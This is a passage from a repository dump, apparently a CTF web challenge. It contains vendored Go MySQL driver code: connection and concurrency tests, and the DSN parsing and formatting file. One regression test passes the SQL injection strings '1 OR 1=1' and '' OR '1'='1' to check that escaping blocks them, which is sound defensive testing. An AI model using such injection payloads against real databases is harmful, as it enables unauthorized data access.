!rows2.Next() {\n\t\t\tdbt.Fatal(\"first rows2.Next failed\")\n\t\t} else {\n\t\t\terr = rows2.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\terr = rows2.Scan(&out)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatalf(\"error on rows.Scan(): %s\", err.Error())\n\t\t\t}\n\t\t\tif out != true {\n\t\t\t\tdbt.Errorf(\"true != %t\", out)\n\t\t\t}\n\t\t}\n\n\t\t// 2\n\t\tif !rows1.Next() {\n\t\t\tdbt.Fatal(\"second rows1.Next failed\")\n\t\t} else {\n\t\t\terr = rows1.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\terr = rows1.Scan(&out)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatalf(\"error on rows.Scan(): %s\", err.Error())\n\t\t\t}\n\t\t\tif out != false {\n\t\t\t\tdbt.Errorf(\"false != %t\", out)\n\t\t\t}\n\n\t\t\tif rows1.Next() {\n\t\t\t\tdbt.Fatal(\"unexpected row on rows1\")\n\t\t\t}\n\t\t\terr = rows1.Close()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\t\t}\n\n\t\tif !rows2.Next() {\n\t\t\tdbt.Fatal(\"second rows2.Next failed\")\n\t\t} else {\n\t\t\terr = rows2.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\terr = rows2.Scan(&out)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatalf(\"error on rows.Scan(): %s\", err.Error())\n\t\t\t}\n\t\t\tif out != false {\n\t\t\t\tdbt.Errorf(\"false != %t\", out)\n\t\t\t}\n\n\t\t\tif rows2.Next() {\n\t\t\t\tdbt.Fatal(\"unexpected row on rows2\")\n\t\t\t}\n\t\t\terr = rows2.Close()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\t\t}\n\t})\n}\n\n// Regression test for\n// * more than 32 NULL parameters (issue 209)\n// * more parameters than fit into the buffer (issue 201)\nfunc TestPreparedManyCols(t *testing.T) {\n\tconst numParams = defaultBufSize\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tquery := \"SELECT ?\" + strings.Repeat(\",?\", numParams-1)\n\t\tstmt, err := dbt.db.Prepare(query)\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer stmt.Close()\n\t\t// create more parameters than fit into the buffer\n\t\t// which will take nil-values\n\t\tparams := make([]interface{}, numParams)\n\t\trows, err := stmt.Query(params...)\n\t\tif err != nil {\n\t\t\tstmt.Close()\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer rows.Close()\n\t})\n}\n\nfunc TestConcurrent(t *testing.T) {\n\tif enabled, _ := readBool(os.Getenv(\"MYSQL_TEST_CONCURRENT\")); !enabled {\n\t\tt.Skip(\"MYSQL_TEST_CONCURRENT env var not set\")\n\t}\n\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tvar max int\n\t\terr := dbt.db.QueryRow(\"SELECT @@max_connections\").Scan(&max)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"%s\", err.Error())\n\t\t}\n\t\tdbt.Logf(\"testing up to %d concurrent connections \\r\\n\", max)\n\n\t\tvar remaining, succeeded int32 = int32(max), 0\n\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(max)\n\n\t\tvar fatalError string\n\t\tvar once sync.Once\n\t\tfatalf := func(s string, vals ...interface{}) {\n\t\t\tonce.Do(func() {\n\t\t\t\tfatalError = fmt.Sprintf(s, vals...)\n\t\t\t})\n\t\t}\n\n\t\tfor i := 0; i < max; i++ {\n\t\t\tgo func(id int) {\n\t\t\t\tdefer wg.Done()\n\n\t\t\t\ttx, err := dbt.db.Begin()\n\t\t\t\tatomic.AddInt32(&remaining, -1)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err.Error() != \"Error 1040: Too many connections\" {\n\t\t\t\t\t\tfatalf(\"error on conn %d: %s\", id, err.Error())\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// keep the connection busy until all connections are open\n\t\t\t\tfor remaining > 0 {\n\t\t\t\t\tif _, err = tx.Exec(\"DO 1\"); err != nil {\n\t\t\t\t\t\tfatalf(\"error on conn %d: %s\", id, err.Error())\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif err = tx.Commit(); err != nil {\n\t\t\t\t\tfatalf(\"error on conn %d: %s\", id, err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// everything went fine with this connection\n\t\t\t\tatomic.AddInt32(&succeeded, 1)\n\t\t\t}(i)\n\t\t}\n\n\t\t// wait until all conections are open\n\t\twg.Wait()\n\n\t\tif fatalError != \"\" {\n\t\t\tdbt.Fatal(fatalError)\n\t\t}\n\n\t\tdbt.Logf(\"reached %d concurrent connections\\r\\n\", succeeded)\n\t})\n}\n\n// Tests custom dial functions\nfunc TestCustomDial(t *testing.T) {\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\t// our custom dial function which justs wraps net.Dial here\n\tRegisterDial(\"mydial\", func(addr string) (net.Conn, error) {\n\t\treturn net.Dial(prot, addr)\n\t})\n\n\tdb, err := sql.Open(\"mysql\", fmt.Sprintf(\"%s:%s@mydial(%s)/%s?timeout=30s&strict=true\", user, pass, addr, dbname))\n\tif err != nil {\n\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t}\n\tdefer db.Close()\n\n\tif _, err = db.Exec(\"DO 1\"); err != nil {\n\t\tt.Fatalf(\"connection failed: %s\", err.Error())\n\t}\n}\n\nfunc TestSQLInjection(t *testing.T) {\n\tcreateTest := func(arg string) func(dbt *DBTest) {\n\t\treturn func(dbt *DBTest) {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (v INTEGER)\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", 1)\n\n\t\t\tvar v int\n\t\t\t// NULL can't be equal to anything, the idea here is to inject query so it returns row\n\t\t\t// This test verifies that escapeQuotes and escapeBackslash are working properly\n\t\t\terr := dbt.db.QueryRow(\"SELECT v FROM test WHERE NULL = ?\", arg).Scan(&v)\n\t\t\tif err == sql.ErrNoRows {\n\t\t\t\treturn // success, sql injection failed\n\t\t\t} else if err == nil {\n\t\t\t\tdbt.Errorf(\"sql injection successful with arg: %s\", arg)\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"error running query with arg: %s; err: %s\", arg, err.Error())\n\t\t\t}\n\t\t}\n\t}\n\n\tdsns := []string{\n\t\tdsn,\n\t\tdsn + \"&sql_mode='NO_BACKSLASH_ESCAPES,NO_AUTO_CREATE_USER'\",\n\t}\n\tfor _, testdsn := range dsns {\n\t\trunTests(t, testdsn, createTest(\"1 OR 1=1\"))\n\t\trunTests(t, testdsn, createTest(\"' OR '1'='1\"))\n\t}\n}\n\n// Test if inserted data is correctly retrieved after being escaped\nfunc TestInsertRetrieveEscapedData(t *testing.T) {\n\ttestData := func(dbt *DBTest) {\n\t\tdbt.mustExec(\"CREATE TABLE test (v VARCHAR(255))\")\n\n\t\t// All sequences that are escaped by escapeQuotes and escapeBackslash\n\t\tv := \"foo \\x00\\n\\r\\x1a\\\"'\\\\\"\n\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", v)\n\n\t\tvar out string\n\t\terr := dbt.db.QueryRow(\"SELECT v FROM test\").Scan(&out)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"%s\", err.Error())\n\t\t}\n\n\t\tif out != v {\n\t\t\tdbt.Errorf(\"%q != %q\", out, v)\n\t\t}\n\t}\n\n\tdsns := []string{\n\t\tdsn,\n\t\tdsn + \"&sql_mode='NO_BACKSLASH_ESCAPES,NO_AUTO_CREATE_USER'\",\n\t}\n\tfor _, testdsn := range dsns {\n\t\trunTests(t, testdsn, testData)\n\t}\n}\n\nfunc TestUnixSocketAuthFail(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// Save the current logger so we can restore it.\n\t\toldLogger := errLog\n\n\t\t// Set a new logger so we can capture its output.\n\t\tbuffer := bytes.NewBuffer(make([]byte, 0, 64))\n\t\tnewLogger := log.New(buffer, \"prefix: \", 0)\n\t\tSetLogger(newLogger)\n\n\t\t// Restore the logger.\n\t\tdefer SetLogger(oldLogger)\n\n\t\t// Make a new DSN that uses the MySQL socket file and a bad password, which\n\t\t// we can make by simply appending any character to the real password.\n\t\tbadPass := pass + \"x\"\n\t\tsocket := \"\"\n\t\tif prot == \"unix\" {\n\t\t\tsocket = addr\n\t\t} else {\n\t\t\t// Get socket file from MySQL.\n\t\t\terr := dbt.db.QueryRow(\"SELECT @@socket\").Scan(&socket)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error on SELECT @@socket: %s\", err.Error())\n\t\t\t}\n\t\t}\n\t\tt.Logf(\"socket: %s\", socket)\n\t\tbadDSN := fmt.Sprintf(\"%s:%s@unix(%s)/%s?timeout=30s&strict=true\", user, badPass, socket, dbname)\n\t\tdb, err := sql.Open(\"mysql\", badDSN)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t\t}\n\t\tdefer db.Close()\n\n\t\t// Connect to MySQL for real. This will cause an auth failure.\n\t\terr = db.Ping()\n\t\tif err == nil {\n\t\t\tt.Error(\"expected Ping() to return an error\")\n\t\t}\n\n\t\t// The driver should not log anything.\n\t\tif actual := buffer.String(); actual != \"\" {\n\t\t\tt.Errorf(\"expected no output, got %q\", actual)\n\t\t}\n\t})\n}\n\n// See Issue #422\nfunc TestInterruptBySignal(t *testing.T) {\n\trunTestsWithMultiStatement(t, dsn, func(dbt *DBTest) {\n\t\tdbt.mustExec(`\n\t\t\tDROP PROCEDURE IF EXISTS test_signal;\n\t\t\tCREATE PROCEDURE test_signal(ret INT)\n\t\t\tBEGIN\n\t\t\t\tSELECT ret;\n\t\t\t\tSIGNAL SQLSTATE\n\t\t\t\t\t'45001'\n\t\t\t\tSET\n\t\t\t\t\tMESSAGE_TEXT = \"an error\",\n\t\t\t\t\tMYSQL_ERRNO = 45001;\n\t\t\tEND\n\t\t`)\n\t\tdefer dbt.mustExec(\"DROP PROCEDURE test_signal\")\n\n\t\tvar val int\n\n\t\t// text protocol\n\t\trows, err := dbt.db.Query(\"CALL test_signal(42)\")\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"error on text query: %s\", err.Error())\n\t\t}\n\t\tfor rows.Next() {\n\t\t\tif err := rows.Scan(&val); err != nil {\n\t\t\t\tdbt.Error(err)\n\t\t\t} else if val != 42 {\n\t\t\t\tdbt.Errorf(\"expected val to be 42\")\n\t\t\t}\n\t\t}\n\n\t\t// binary protocol\n\t\trows, err = dbt.db.Query(\"CALL test_signal(?)\", 42)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"error on binary query: %s\", err.Error())\n\t\t}\n\t\tfor rows.Next() {\n\t\t\tif err := rows.Scan(&val); err != nil {\n\t\t\t\tdbt.Error(err)\n\t\t\t} else if val != 42 {\n\t\t\t\tdbt.Errorf(\"expected val to be 42\")\n\t\t\t}\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/dsn.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nvar (\n\terrInvalidDSNUnescaped       = errors.New(\"invalid DSN: did you forget to escape a param value?\")\n\terrInvalidDSNAddr            = errors.New(\"invalid DSN: network address not terminated (missing closing brace)\")\n\terrInvalidDSNNoSlash         = errors.New(\"invalid DSN: missing the slash separating the database name\")\n\terrInvalidDSNUnsafeCollation = errors.New(\"invalid DSN: interpolateParams can not be used with unsafe collations\")\n)\n\n// Config is a configuration parsed from a DSN string\ntype Config struct {\n\tUser             string            // Username\n\tPasswd           string            // Password (requires User)\n\tNet              string            // Network type\n\tAddr             string            // Network address (requires Net)\n\tDBName           string            // Database name\n\tParams           map[string]string // Connection parameters\n\tCollation        string            // Connection collation\n\tLoc              *time.Location    // Location for time.Time values\n\tMaxAllowedPacket int               // Max packet size allowed\n\tTLSConfig        string            // TLS configuration name\n\ttls              *tls.Config       // TLS configuration\n\tTimeout          time.Duration     // Dial timeout\n\tReadTimeout      time.Duration     // I/O read timeout\n\tWriteTimeout     time.Duration     // I/O write timeout\n\n\tAllowAllFiles           bool // Allow all files to be used with LOAD DATA LOCAL INFILE\n\tAllowCleartextPasswords bool // Allows the cleartext client side plugin\n\tAllowNativePasswords    bool // Allows the native password authentication method\n\tAllowOldPasswords       bool // Allows the old insecure password method\n\tClientFoundRows         bool // Return number of matching rows instead of rows changed\n\tColumnsWithAlias        bool // Prepend table alias to column names\n\tInterpolateParams       bool // Interpolate placeholders into query string\n\tMultiStatements         bool // Allow multiple statements in one query\n\tParseTime               bool // Parse time values to time.Time\n\tStrict                  bool // Return warnings as errors\n}\n\n// FormatDSN formats the given Config into a DSN string which can be passed to\n// the driver.\nfunc (cfg *Config) FormatDSN() string {\n\tvar buf bytes.Buffer\n\n\t// [username[:password]@]\n\tif len(cfg.User) > 0 {\n\t\tbuf.WriteString(cfg.User)\n\t\tif len(cfg.Passwd) > 0 {\n\t\t\tbuf.WriteByte(':')\n\t\t\tbuf.WriteString(cfg.Passwd)\n\t\t}\n\t\tbuf.WriteByte('@')\n\t}\n\n\t// [protocol[(address)]]\n\tif len(cfg.Net) > 0 {\n\t\tbuf.WriteString(cfg.Net)\n\t\tif len(cfg.Addr) > 0 {\n\t\t\tbuf.WriteByte('(')\n\t\t\tbuf.WriteString(cfg.Addr)\n\t\t\tbuf.WriteByte(')')\n\t\t}\n\t}\n\n\t// /dbname\n\tbuf.WriteByte('/')\n\tbuf.WriteString(cfg.DBName)\n\n\t// [?param1=value1&...&paramN=valueN]\n\thasParam := false\n\n\tif cfg.AllowAllFiles {\n\t\thasParam = true\n\t\tbuf.WriteString(\"?allowAllFiles=true\")\n\t}\n\n\tif cfg.AllowCleartextPasswords {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&allowCleartextPasswords=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?allowCleartextPasswords=true\")\n\t\t}\n\t}\n\n\tif cfg.AllowNativePasswords {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&allowNativePasswords=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?allowNativePasswords=true\")\n\t\t}\n\t}\n\n\tif cfg.AllowOldPasswords {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&allowOldPasswords=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?allowOldPasswords=true\")\n\t\t}\n\t}\n\n\tif cfg.ClientFoundRows {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&clientFoundRows=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?clientFoundRows=true\")\n\t\t}\n\t}\n\n\tif col := cfg.Collation; col != defaultCollation && len(col) > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&collation=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?collation=\")\n\t\t}\n\t\tbuf.WriteString(col)\n\t}\n\n\tif cfg.ColumnsWithAlias {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&columnsWithAlias=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?columnsWithAlias=true\")\n\t\t}\n\t}\n\n\tif cfg.InterpolateParams {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&interpolateParams=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?interpolateParams=true\")\n\t\t}\n\t}\n\n\tif cfg.Loc != time.UTC && cfg.Loc != nil {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&loc=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?loc=\")\n\t\t}\n\t\tbuf.WriteString(url.QueryEscape(cfg.Loc.String()))\n\t}\n\n\tif cfg.MultiStatements {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&multiStatements=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?multiStatements=true\")\n\t\t}\n\t}\n\n\tif cfg.ParseTime {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&parseTime=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?parseTime=true\")\n\t\t}\n\t}\n\n\tif cfg.ReadTimeout > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&readTimeout=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?readTimeout=\")\n\t\t}\n\t\tbuf.WriteString(cfg.ReadTimeout.String())\n\t}\n\n\tif cfg.Strict {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&strict=true\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?strict=true\")\n\t\t}\n\t}\n\n\tif cfg.Timeout > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&timeout=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?timeout=\")\n\t\t}\n\t\tbuf.WriteString(cfg.Timeout.String())\n\t}\n\n\tif len(cfg.TLSConfig) > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&tls=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?tls=\")\n\t\t}\n\t\tbuf.WriteString(url.QueryEscape(cfg.TLSConfig))\n\t}\n\n\tif cfg.WriteTimeout > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&writeTimeout=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?writeTimeout=\")\n\t\t}\n\t\tbuf.WriteString(cfg.WriteTimeout.String())\n\t}\n\n\tif cfg.MaxAllowedPacket > 0 {\n\t\tif hasParam {\n\t\t\tbuf.WriteString(\"&maxAllowedPacket=\")\n\t\t} else {\n\t\t\thasParam = true\n\t\t\tbuf.WriteString(\"?maxAllowedPacket=\")\n\t\t}\n\t\tbuf.WriteString(strconv.Itoa(cfg.MaxAllowedPacket))\n\n\t}\n\n\t// other params\n\tif cfg.Params != nil {\n\t\tfor param, value := range cfg.Params {\n\t\t\tif hasParam {\n\t\t\t\tbuf.WriteByte('&')\n\t\t\t} else {\n\t\t\t\thasParam = true\n\t\t\t\tbuf.WriteByte('?')\n\t\t\t}\n\n\t\t\tbuf.WriteString(param)\n\t\t\tbuf.WriteByte('=')\n\t\t\tbuf.WriteString(url.QueryEscape(value))\n\t\t}\n\t}\n\n\treturn buf.String()\n}\n\n// ParseDSN parses the DSN string to a Config\nfunc ParseDSN(dsn string) (cfg *Config, err error) {\n\t// New config with some default values\n\tcfg = &Config{\n\t\tLoc:       time.UTC,\n\t\tCollation: defaultCollation,\n\t}\n\n\t// [user[:password]@][net[(addr)]]/dbname[?param1=value1&paramN=valueN]\n\t// Find the last '/' (since the password or the net addr might contain a '/')\n\tfoundSlash := false\n\tfor i := len(dsn) - 1; i >= 0; i-- {\n\t\tif dsn[i] == '/' {\n\t\t\tfoundSlash = true\n\t\t\tvar j, k int\n\n\t\t\t// left part is empty if i <= 0\n\t\t\tif i > 0 {\n\t\t\t\t// [username[:password]@][protocol[(address)]]\n\t\t\t\t// Find the last '@' in dsn[:i]\n\t\t\t\tfor j = i; j >= 0; j-- {\n\t\t\t\t\tif dsn[j] == '@' {\n\t\t\t\t\t\t// username[:password]\n\t\t\t\t\t\t// Find the first ':' in dsn[:j]\n\t\t\t\t\t\tfor k = 0; k < j; k++ {\n\t\t\t\t\t\t\tif dsn[k] == ':' {\n\t\t\t\t\t\t\t\tcfg.Passwd = dsn[k+1 : j]\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcfg.User = dsn[:k]\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// [protocol[(address)]]\n\t\t\t\t// Find the first '(' in dsn[j+1:i]\n\t\t\t\tfor k = j + 1; k < i; k++ {\n\t\t\t\t\tif dsn[k] == '(' {\n\t\t\t\t\t\t// dsn[i-1] must be == ')' if an address is specified\n\t\t\t\t\t\tif dsn[i-1] != ')' {\n\t\t\t\t\t\t\tif strings.ContainsRune(dsn[k+1:i], ')') {\n\t\t\t\t\t\t\t\treturn nil, errInvalidDSNUnescaped\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn nil, errInvalidDSNAddr\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcfg.Addr = dsn[k+1 : i-1]\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcfg.Net = dsn[j+1 : k]\n\t\t\t}\n\n\t\t\t// dbname[?param1=value1&...&paramN=valueN]\n\t\t\t// Find the first '?' in dsn[i+1:]\n\t\t\tfor j = i + 1; j < len(dsn); j++ {\n\t\t\t\tif dsn[j] == '?' {\n\t\t\t\t\tif err = parseDSNParams(cfg, dsn[j+1:]); err != nil {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tcfg.DBName = dsn[i+1 : j]\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !foundSlash && len(dsn) > 0 {\n\t\treturn nil, errInvalidDSNNoSlash\n\t}\n\n\tif cfg.InterpolateParams && unsafeCollations[cfg.Collation] {\n\t\treturn nil, errInvalidDSNUnsafeCollation\n\t}\n\n\t// Set default network if empty\n\tif cfg.Net == \"\" {\n\t\tcfg.Net = \"tcp\"\n\t}\n\n\t// Set default address if empty\n\tif cfg.Addr == \"\" {\n\t\tswitch cfg.Net {\n\t\tcase \"tcp\":\n\t\t\tcfg.Addr = \"127.0.0.1:3306\"\n\t\tcase \"unix\":\n\t\t\tcfg.Addr = \"/tmp/mysql.sock\"\n\t\tdefault:\n\t\t\treturn nil, errors.New(\"default addr for network '\" + cfg.Net + \"' unknown\")\n\t\t}\n\n\t}\n\n\treturn\n}\n\n// parseDSNParams parses the DSN \"query string\"\n// Values must be url.QueryEscape'ed\nfunc parseDSNParams(cfg *Config, params string) (err error) {\n\tfor _, v := range strings.Split(params, \"&\") {\n\t\tparam := strings.SplitN(v, \"=\", 2)\n\t\tif len(param) != 2 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// cfg params\n\t\tswitch value := param[1]; param[0] {\n\n\t\t// Disable INFILE whitelist / enable all files\n\t\tcase \"allowAllFiles\":\n\t\t\tvar isBool bool\n\t\t\tcfg.AllowAllFiles, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Use cleartext authentication mode (MySQL 5.5.10+)\n\t\tcase \"allowCleartextPasswords\":\n\t\t\tvar isBool bool\n\t\t\tcfg.AllowCleartextPasswords, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Use native password authentication\n\t\tcase \"allowNativePasswords\":\n\t\t\tvar isBool bool\n\t\t\tcfg.AllowNativePasswords, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Use old authentication mode (pre MySQL 4.1)\n\t\tcase \"allowOldPasswords\":\n\t\t\tvar isBool bool\n\t\t\tcfg.AllowOldPasswords, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Switch \"rowsAffected\" mode\n\t\tcase \"clientFoundRows\":\n\t\t\tvar isBool bool\n\t\t\tcfg.ClientFoundRows, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Collation\n\t\tcase \"collation\":\n\t\t\tcfg.Collation = value\n\t\t\tbreak\n\n\t\tcase \"columnsWithAlias\":\n\t\t\tvar isBool bool\n\t\t\tcfg.ColumnsWithAlias, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Compression\n\t\tcase \"compress\":\n\t\t\treturn errors.New(\"compression not implemented yet\")\n\n\t\t// Enable client side placeholder substitution\n\t\tcase \"interpolateParams\":\n\t\t\tvar isBool bool\n\t\t\tcfg.InterpolateParams, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Time Location\n\t\tcase \"loc\":\n\t\t\tif value, err = url.QueryUnescape(value); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcfg.Loc, err = time.LoadLocation(value)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t// multiple statements in one query\n\t\tcase \"multiStatements\":\n\t\t\tvar isBool bool\n\t\t\tcfg.MultiStatements, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// time.Time parsing\n\t\tcase \"parseTime\":\n\t\t\tvar isBool bool\n\t\t\tcfg.ParseTime, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// I/O read Timeout\n\t\tcase \"readTimeout\":\n\t\t\tcfg.ReadTimeout, err = time.ParseDuration(value)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t// Strict mode\n\t\tcase \"strict\":\n\t\t\tvar isBool bool\n\t\t\tcfg.Strict, isBool = readBool(value)\n\t\t\tif !isBool {\n\t\t\t\treturn errors.New(\"invalid bool value: \" + value)\n\t\t\t}\n\n\t\t// Dial Timeout\n\t\tcase \"timeout\":\n\t\t\tcfg.Timeout, err = time.ParseDuration(value)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t// TLS-Encryption\n\t\tcase \"tls\":\n\t\t\tboolValue, isBool := readBool(value)\n\t\t\tif isBool {\n\t\t\t\tif boolValue {\n\t\t\t\t\tcfg.TLSConfig = \"true\"\n\t\t\t\t\tcfg.tls = &tls.Config{}\n\t\t\t\t} else {\n\t\t\t\t\tcfg.TLSConfig = \"false\"\n\t\t\t\t}\n\t\t\t} else if vl := strings.ToLower(value); vl == \"skip-verify\" {\n\t\t\t\tcfg.TLSConfig = vl\n\t\t\t\tcfg.tls = &tls.Config{InsecureSkipVerify: true}\n\t\t\t} else {\n\t\t\t\tname, err := url.QueryUnescape(value)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"invalid value for TLS config name: %v\", err)\n\t\t\t\t}\n\n\t\t\t\tif tlsConfig, ok := tlsConfigRegister[name]; ok {\n\t\t\t\t\tif len(tlsConfig.ServerName) == 0 && !tlsConfig.InsecureSkipVerify {\n\t\t\t\t\t\thost, _, err := net.SplitHostPort(cfg.Addr)\n\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\ttlsConfig.ServerName = host\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tcfg.TLSConfig = name\n\t\t\t\t\tcfg.tls = tlsConfig\n\t\t\t\t} else {\n\t\t\t\t\treturn errors.New(\"invalid value / unknown config name: \" + name)\n\t\t\t\t}\n\t\t\t}\n\n\t\t// I/O write Timeout\n\t\tcase \"writeTimeout\":\n\t\t\tcfg.WriteTimeout, err = time.ParseDuration(value)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\tcase \"maxAllowedPacket\":\n\t\t\tcfg.MaxAllowedPacket, err = strconv.Atoi(value)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\tdefault:\n\t\t\t// lazy init\n\t\t\tif cfg.Params == nil {\n\t\t\t\tcfg.Params = make(map[string]string)\n\t\t\t}\n\n\t\t\tif cfg.Params[param[0]], err = url.QueryUnescape(value); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/dsn_test.go",
